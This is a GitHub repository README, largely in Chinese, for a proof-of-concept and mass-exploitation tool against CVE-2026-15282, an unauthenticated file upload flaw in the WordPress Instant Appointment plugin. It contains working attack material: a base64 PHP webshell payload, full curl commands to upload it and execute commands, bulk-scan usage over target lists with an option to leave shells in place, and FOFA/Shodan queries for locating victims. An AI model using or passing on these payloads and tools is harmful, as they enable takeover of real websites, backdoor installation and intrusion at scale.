shinthink/CVE-2026-15282
GitHub: shinthink/CVE-2026-15282
针对 WordPress Instant Appointment 插件未授权任意文件上传导致 RCE 漏洞(CVE-2026-15282)的概念验证与批量利用工具。
Stars: 0 | Forks: 0
CVE-2026-15282 — Instant Appointment 大规模 RCE 漏洞利用
未授权 file_get_contents() + file_put_contents() → PHP Webshell
## 概述 **CVE-2026-15282** 是 **Instant Appointment** WordPress 插件 (≤ 1.2) 中一个严重的 (CVSS 9.8) 未经身份验证的任意文件上传漏洞。 `add_service_front` AJAX action 通过 `wp_ajax_nopriv_` 注册以进行未授权访问。处理程序将用户提供的 `image_url` 和 `image_name` 直接传递给 `file_get_contents()` 和 `file_put_contents()`,而没有任何文件类型或扩展名验证。 ### 受影响版本 | 版本 | 状态 | |---|---| | ≤ 1.2 | 存在漏洞 | | > 1.2 | 无可用补丁 — 移除插件 | ## 漏洞机制 ### 根本原因 ``` // ajax_services.php function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) { $image_data = file_get_contents($image_url); // downloads from ANY URL $file = $upload_dir['path'] . '/' . $file_name; // uses attacker's filename file_put_contents($file, $image_data); // no extension check! } ``` AJAX 处理程序接受任何 `image_url`(包括 `data://` URI),并直接将任何 `image_name` 写入 WordPress 上传目录。 ### 攻击流程 ``` POST /wp-admin/admin-ajax.php?action=add_service_front image_url=data://text/plain;base64,PD9waHAgc3lzdGVt... image_name=think_xxx.php → PHP webshell written to wp-content/uploads/YYYY/MM/think_xxx.php → RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-15282.git cd CVE-2026-15282 pip install -r requirements.txt ``` ## 运行说明 ``` python cve_2026_15282.py -t target.com python cve_2026_15282.py -f targets.txt -o shells.txt python cve_2026_15282.py -t target.com --debug python cve_2026_15282.py -t target.com --no-cleanup ``` ### 参数 ``` -t, --target Single target -f, --file Target list -o, --output Save RCE URLs to file --threads Workers (default: 25) --no-cleanup Leave shells on target --debug Show every request -v, --verbose Verbose output ``` ## 概念验证 ### 单一目标 ``` $ python cve_2026_15282.py -t target.com ``` ``` ⠋ Scanning target... → OK Scanning target... Host : target.com Plugin : YES Upload : YES RCE : YES Shell : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id Output : uid=33(www-data) gid=33(www-data) ``` ### 批量扫描 ``` [.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1 [RCE] target.com https://target.com/wp-content/uploads/2026/07/think_xxx.php ``` ### 手动利用 ``` # 创建 base64 编码的 PHP shell echo '' | base64 -w0 # 通过 AJAX 上传 curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \ -d 'action=add_service_front' \ -d 'service_name=test' \ -d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \ -d 'image_name=shell.php' \ -d 'image_size=100' \ -d 'image_type=image/jpeg' \ -d 'service_price_sale=1' \ -d 'service_price_reg=1' \ -d 'service_category[]=1' \ -d 'service_duration=60' \ -d 'service_author=1' # 访问 shell curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id' ``` ## FOFA / Shodan ``` FOFA: body="wp-content/plugins/instant-appointment" Shodan: http.html:"instant-appointment" ``` ## 免责声明 ## 参考资料 | 资源 | 链接 | |---|---| | WPScan | [wpscan.com/vulnerability/b3457e95](https://wpscan.com/vulnerability/b3457e95-4299-4ac2-b538-99a98c93bf77/) | | Wordfence | [wordfence.com](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/instant-appointment/instant-appointment-12-unauthenticated-arbitrary-file-upload) | | NVD | [CVE-2026-15282](https://nvd.nist.gov/vuln/detail/CVE-2026-15282) | | 研究员 | Random Robbie (What Security) |不附属于 tenteeglobal 或 Instant Appointment。
标签:CISA项目, Python, Web安全, WordPress插件漏洞, 安全, 文件完整性监控, 无后门, 无服务器架构, 系统独立性, 蓝队分析, 超时处理, 逆向工具